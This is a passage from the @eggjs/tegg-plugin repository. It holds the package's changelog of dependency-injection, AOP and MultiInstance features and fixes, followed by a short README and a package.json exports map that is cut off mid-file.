@eggjs/tegg-plugin\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n\n### Bug Fixes\n\n* fix aop in constructor inject type ([#247](https://github.com/eggjs/tegg/issues/247)) ([d169bb2](https://github.com/eggjs/tegg/commit/d169bb2fbbc86335315619866b4134a25296f552))\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n\n### Bug Fixes\n\n* fix miss MultiInstance proper qualifiers ([#241](https://github.com/eggjs/tegg/issues/241)) ([15666d3](https://github.com/eggjs/tegg/commit/15666d36c18b99eccc4f1a11d8e7702503694ee1))\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n\n### Features\n\n* impl MultiInstance inject MultiInstance ([#240](https://github.com/eggjs/tegg/issues/240)) ([08e3b0c](https://github.com/eggjs/tegg/commit/08e3b0cc02f3d2dbba767298a6aec6c00147f9ed))\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n\n### Features\n\n* impl MultiInstanceInfo decorator ([#239](https://github.com/eggjs/tegg/issues/239)) ([70d4d95](https://github.com/eggjs/tegg/commit/70d4d95bca4a0c3e11d0d7cc4f292b1315e49e81))\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n\n### Features\n\n* support inject in constructor ([#237](https://github.com/eggjs/tegg/issues/237)) ([e68b1ed](https://github.com/eggjs/tegg/commit/e68b1ed6a90432f1cb35a6f562914b7b04cb5114))\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n\n### Features\n\n* impl dal ([#192](https://github.com/eggjs/tegg/issues/192)) ([1c7d145](https://github.com/eggjs/tegg/commit/1c7d1454bc8c600cd58c3ec7b9cda4e8a98c7287))\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n\n### Features\n\n* set plugin module optional false if be enabled as a plugin ([#190](https://github.com/eggjs/tegg/issues/190)) ([57a1adc](https://github.com/eggjs/tegg/commit/57a1adcd4f0305cad690be229c59e103e7acf5cd))\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n\n### Features\n\n* scan framework dependencies as optional module ([#184](https://github.com/eggjs/tegg/issues/184)) ([a4908c6](https://github.com/eggjs/tegg/commit/a4908c6c640000c7068def57d32052cca15adf47))\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n\n### Bug Fixes\n\n* clear all hooks after app close ([#175](https://github.com/eggjs/tegg/issues/175)) ([6fe12b9](https://github.com/eggjs/tegg/commit/6fe12b9bd2cc1c250d02ac851a6e2e172ab12514))\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n\n### Features\n\n* inject moduleConfig read from tegg-config app.moduleConfigs config ([#169](https://github.com/eggjs/tegg/issues/169)) ([2d984ef](https://github.com/eggjs/tegg/commit/2d984efad0806b333aa2ea30daac2df859967750))\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n\n### Features\n\n* impl getObjectFromName ([#167](https://github.com/eggjs/tegg/issues/167)) ([95843c7](https://github.com/eggjs/tegg/commit/95843c74c201ecdfeb7023e16e3f8348a1cb32ea))\n\n\n\n\n\n# [3.26.0](https://github.com/eggjs/tegg/compare/v3.25.2...v3.26.0) (2023-11-17)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n\n### Bug Fixes\n\n* verify isEggMultiInstancePrototype before proto exists ([#164](https://github.com/eggjs/tegg/issues/164)) ([db9a621](https://github.com/eggjs/tegg/commit/db9a62159886829de36b831f49f296fe05f0b228))\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n\n### Features\n\n* getObject support MultiInstanceProto ([#161](https://github.com/eggjs/tegg/issues/161)) ([1a24e48](https://github.com/eggjs/tegg/commit/1a24e48cd9a38e906966a21c5f0d1304c4b40d7c))\n* tegg plugin support ModuleConfig ([#162](https://github.com/eggjs/tegg/issues/162)) ([58bd9fa](https://github.com/eggjs/tegg/commit/58bd9fafdd0d56aabdde5f7c33f17c45568bada8))\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n\n### Features\n\n* add LoadUnitMultiInstanceProtoHook for tegg plugin ([#150](https://github.com/eggjs/tegg/issues/150)) ([b938580](https://github.com/eggjs/tegg/commit/b9385803383dceedfc26bd990e5d752cd33f0f67))\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n\n### Bug Fixes\n\n* fix use MultiInstanceProto from other modules ([#147](https://github.com/eggjs/tegg/issues/147)) ([b71af60](https://github.com/eggjs/tegg/commit/b71af60ce6d1da0d778f5e712633b8c15052bd70))\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n\n### Features\n\n* impl MultiInstanceProto ([#145](https://github.com/eggjs/tegg/issues/145)) ([12fd5cf](https://github.com/eggjs/tegg/commit/12fd5cff4004578bcc737dcdf4f7e9d1159f5633))\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n\n### Features\n\n* implement RuntimeConfig ([#144](https://github.com/eggjs/tegg/issues/144)) ([0862655](https://github.com/eggjs/tegg/commit/0862655846f6765349d406ee697c036cec2a37bd))\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n\n### Bug Fixes\n\n* ensure ContextInitiator be called after ctx ready ([#138](https://github.com/eggjs/tegg/issues/138)) ([79e16da](https://github.com/eggjs/tegg/commit/79e16dae913b6114ac8d13bde8de60164d57dab3))\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n\n### Bug Fixes\n\n* after call mockModuleContext, hasMockModuleContext should be true ([#134](https://github.com/eggjs/tegg/issues/134)) ([88b3caa](https://github.com/eggjs/tegg/commit/88b3caadd24f08221b8098c42733e26376338cae))\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.9.0](https://github.com/eggjs/tegg/compare/v3.8.0...v3.9.0) (2023-06-20)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.6.2](https://github.com/eggjs/tegg/compare/v3.6.1...v3.6.2) (2023-02-16)\n\n\n### Bug Fixes\n\n* should not cache ctx object ([#103](https://github.com/eggjs/tegg/issues/103)) ([be54083](https://github.com/eggjs/tegg/commit/be5408375261d98b60fbc97e18de9232581a9547))\n\n\n\n\n\n## [3.6.1](https://github.com/eggjs/tegg/compare/v3.6.0...v3.6.1) (2023-02-14)\n\n\n### Bug Fixes\n\n* get app/ctx properties when load unit beforeCreate ([#102](https://github.com/eggjs/tegg/issues/102)) ([76ef679](https://github.com/eggjs/tegg/commit/76ef679d745deb235db9dcc3fa34984b511bd5c6))\n\n\n\n\n\n# [3.6.0](https://github.com/eggjs/tegg/compare/v3.5.2...v3.6.0) (2023-02-13)\n\n\n### Bug Fixes\n\n* egg qualifier should register after all file loaded ([#100](https://github.com/eggjs/tegg/issues/100)) ([5033b51](https://github.com/eggjs/tegg/commit/5033b51796b8a3329bd79884a8d8f18226193a1b))\n\n\n### Features\n\n* add backgroundTask.timeout config ([#101](https://github.com/eggjs/tegg/issues/101)) ([0b1eee0](https://github.com/eggjs/tegg/commit/0b1eee00d6feb9c6d4509023dffe85c0ada749c2))\n\n\n\n\n\n## [3.5.2](https://github.com/eggjs/tegg/compare/v3.5.1...v3.5.2) (2023-02-10)\n\n\n### Bug Fixes\n\n* not create ctx logger proto ([#97](https://github.com/eggjs/tegg/issues/97)) ([100886b](https://github.com/eggjs/tegg/commit/100886ba90bdc7cccd07fa2f390defb5b0c53e22))\n\n\n\n\n\n## [3.5.1](https://github.com/eggjs/tegg/compare/v3.5.0...v3.5.1) (2023-02-10)\n\n\n### Bug Fixes\n\n* remove useless init singleton proto ([#96](https://github.com/eggjs/tegg/issues/96)) ([097ac58](https://github.com/eggjs/tegg/commit/097ac58c675d43088c8785a12cf224b5d6adea17))\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n\n### Features\n\n* append call stack for runInBackground ([#91](https://github.com/eggjs/tegg/issues/91)) ([ec7bc2c](https://github.com/eggjs/tegg/commit/ec7bc2c60ffb49b4a51feec82e391b1f6a88549a))\n* remove context egg object factory ([#93](https://github.com/eggjs/tegg/issues/93)) ([e14bdb2](https://github.com/eggjs/tegg/commit/e14bdb257eaebc0b0a4c37c6073a5c3237718718))\n* use SingletonProto for egg ctx object ([#92](https://github.com/eggjs/tegg/issues/92)) ([3385d57](https://github.com/eggjs/tegg/commit/3385d571b076d3148978f252188f29d9cf2c6781))\n\n\n\n\n\n## [3.4.1](https://github.com/eggjs/tegg/compare/v3.4.0...v3.4.1) (2023-02-02)\n\n\n### Bug Fixes\n\n* BackgroundTaskHelper should support recursively call ([#90](https://github.com/eggjs/tegg/issues/90)) ([368ac03](https://github.com/eggjs/tegg/commit/368ac0343d0d4e96b3768e7fd169b721551d0e4b))\n\n\n\n\n\n# [3.4.0](https://github.com/eggjs/tegg/compare/v3.3.4...v3.4.0) (2023-02-01)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.3.4](https://github.com/eggjs/tegg/compare/v3.3.3...v3.3.4) (2023-01-29)\n\n\n### Bug Fixes\n\n* should not notify backgroundTaskHelper if teggContext not exists ([#88](https://github.com/eggjs/tegg/issues/88)) ([4cab68b](https://github.com/eggjs/tegg/commit/4cab68bfc08a3786bde9a67cd8687f152829d9a0))\n\n\n\n\n\n## [3.3.3](https://github.com/eggjs/tegg/compare/v3.3.2...v3.3.3) (2023-01-29)\n\n\n### Bug Fixes\n\n* wait egg background task done before destroy tegg ctx ([#87](https://github.com/eggjs/tegg/issues/87)) ([deea4d8](https://github.com/eggjs/tegg/commit/deea4d8d75c43347c6ee09e0e97f5fa80dd68dd9))\n\n\n\n\n\n## [3.3.2](https://github.com/eggjs/tegg/compare/v3.3.1...v3.3.2) (2023-01-29)\n\n\n### Bug Fixes\n\n* beginModuleScope should be reentrant ([#86](https://github.com/eggjs/tegg/issues/86)) ([648aeaf](https://github.com/eggjs/tegg/commit/648aeaf1f20ff5bc217bf6f16fac9d9181eb8447))\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.3.0](https://github.com/eggjs/tegg/compare/v3.2.4...v3.3.0) (2023-01-28)\n\n\n### Features\n\n* add app.eggContextHandler ([#84](https://github.com/eggjs/tegg/issues/84)) ([2772624](https://github.com/eggjs/tegg/commit/277262418143956b2e75bd1db5f2e7dd9b75eb8b))\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.2.0](https://github.com/eggjs/tegg/compare/v3.1.0...v3.2.0) (2022-12-28)\n\n\n### Features\n\n* impl mockModuleContextScope ([#73](https://github.com/eggjs/tegg/issues/73)) ([041881c](https://github.com/eggjs/tegg/commit/041881ca317ad81366172a35ac56b7b2dc0a0488))\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* inject context proto to singleton proto ([#72](https://github.com/eggjs/tegg/issues/72)) ([fcc0b2b](https://github.com/eggjs/tegg/commit/fcc0b2b48fc9bce580c1f2bcfcc38039ae909951))\n* optimize backgroud output ([#47](https://github.com/eggjs/tegg/issues/47)) ([6d978c5](https://github.com/eggjs/tegg/commit/6d978c5d7c339c78a90b00d2c2622f0be85ab3ce))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Bug Fixes\n\n* optimize backgroud output ([#47](https://github.com/eggjs/tegg/issues/47)) ([6d978c5](https://github.com/eggjs/tegg/commit/6d978c5d7c339c78a90b00d2c2622f0be85ab3ce))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n## [1.3.8](https://github.com/eggjs/tegg/compare/@eggjs/tegg-plugin@1.3.7...@eggjs/tegg-plugin@1.3.8) (2022-09-05)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [1.3.7](https://github.com/eggjs/tegg/compare/@eggjs/tegg-plugin@1.3.6...@eggjs/tegg-plugin@1.3.7) (2022-09-04)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [1.3.6](https://github.com/eggjs/tegg/compare/@eggjs/tegg-plugin@1.3.5...@eggjs/tegg-plugin@1.3.6) (2022-08-16)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [1.3.4](https://github.com/eggjs/tegg/compare/@eggjs/tegg-plugin@1.3.3...@eggjs/tegg-plugin@1.3.4) (2022-07-28)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [1.3.3](https://github.com/eggjs/tegg/compare/@eggjs/tegg-plugin@1.3.2...@eggjs/tegg-plugin@1.3.3) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n## [1.3.2](https://github.com/eggjs/tegg/compare/@eggjs/tegg-plugin@1.3.1...@eggjs/tegg-plugin@1.3.2) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg-plugin\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n\n### Features\n\n* impl aop ([c53df00](https://github.com/eggjs/tegg/commit/c53df001d1455a0a105689694775d880541d9d2f))\n"
  },
  {
    "path": "tegg/plugin/tegg/README.md",
    "content": "# `@eggjs/tegg-plugin`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/tegg-plugin.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/tegg-plugin.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/tegg-plugin\n[snyk-image]: https://snyk.io/test/npm/@eggjs/tegg-plugin/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/tegg-plugin\n[download-image]: https://img.shields.io/npm/dm/@eggjs/tegg-plugin.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/tegg-plugin\n\n## Usage\n\nPlease read [../../README.md](../../README.md)\n"
  },
  {
    "path": "tegg/plugin/tegg/package.json",
    "content": "{\n  \"name\": \"@eggjs/tegg-plugin\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"module plugin for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"module\",\n    \"plugin\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/tegg\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/tegg\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./app/extend/application.unittest\": \"./src/app/extend/application.unittest.ts\",\n    \"./app/extend/context\": \"./src/app/extend/context.ts\",\n    \"./app/middleware/tegg_ctx_lifecycle_middleware\": \"./src/app/middleware/tegg_ctx_lifecycle_middleware.ts\",\n    \"./lib/AppLoadUnit\": \"./src/lib/AppLoadUnit.ts\",\n    \"./lib/AppLoadUnitInstance\": \"./src/lib/AppLoadUnitInstance.ts\",\n    \"./lib/CompatibleUtil\": \"./src/lib/CompatibleUtil.ts\",\n    \"./lib/ConfigSourceLoadUnitHook\": \"./src/lib/ConfigSourceLoadUnitHook.ts\",\n    \"./lib/ctx_lifecycle_middleware\": \"./src/lib/ctx_lifecycle_middleware.ts\",\n    \"./lib/EggAppLoader\": \"./src/lib/EggAppLoader.ts\",\n    \"./lib/EggCompatibleObject\": \"./src/lib/EggCompatibleObject.ts\",\n    \"./lib/EggCompatibleProtoImpl\": \"./src/lib/EggCompatibleProtoImpl.ts\",\n    \"./lib/EggContextCompatibleHook\": \"./src/lib/EggContextCompatibleHook.ts\",\n    \"./lib/EggContextHandler\": \"./src/lib/EggContextHandler.ts\",\n    \"./lib/EggContextImpl\": \"./src/lib/EggContextImpl.ts\",\n    \"./lib/EggModuleLoader\": \"./src/lib/EggModuleLoader.ts\",\n    \"./lib/EggQualifierProtoHook\": \"./src/lib/EggQualifierProtoHook.ts\",\n    \"./lib/ModuleConfigLoader\": \"./src/lib/ModuleConfigLoader.ts\",\n    \"./lib/ModuleHandler\": \"./src/lib/ModuleHandler.ts\",\n    \"./lib/run_in_background\": \"./src/lib/run_in_background.ts\",\n    \"./lib/Utils\": \"./src/lib/Utils.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./app/extend/application.unittest\": \"./dist/app/extend/application.unittest.js\",\n      \"./app/extend/context\": \"./dist/app/extend/context.js\",\n      \"./app/middleware/tegg_ctx_lifecycle_middleware\": \"./dist/app/middleware/tegg_ctx_lifecycle_middleware.js\",\n      \"./lib/AppLoadUnit\": \"./dist/lib/AppLoadUnit.js\",\n      \"./lib/AppLoadUnitInstance\": \"./dist/lib/AppLoadUnitInstance.js\",\n      \"./lib/CompatibleUtil\": \"./dist/lib/CompatibleUtil.js\",\n      \"./lib/ConfigSourceLoadUnitHook\": \"./dist/lib/ConfigSourceLoadUnitHook.js\",\n      \"./lib/ctx_lifecycle_middleware\": \"./dist/lib/ctx_lifecycle_middleware.js\",\n      \"./lib/EggAppLoader\": \"./dist/lib/EggAppLoader.js\",\n      \"./lib/EggCompatibleObject\": 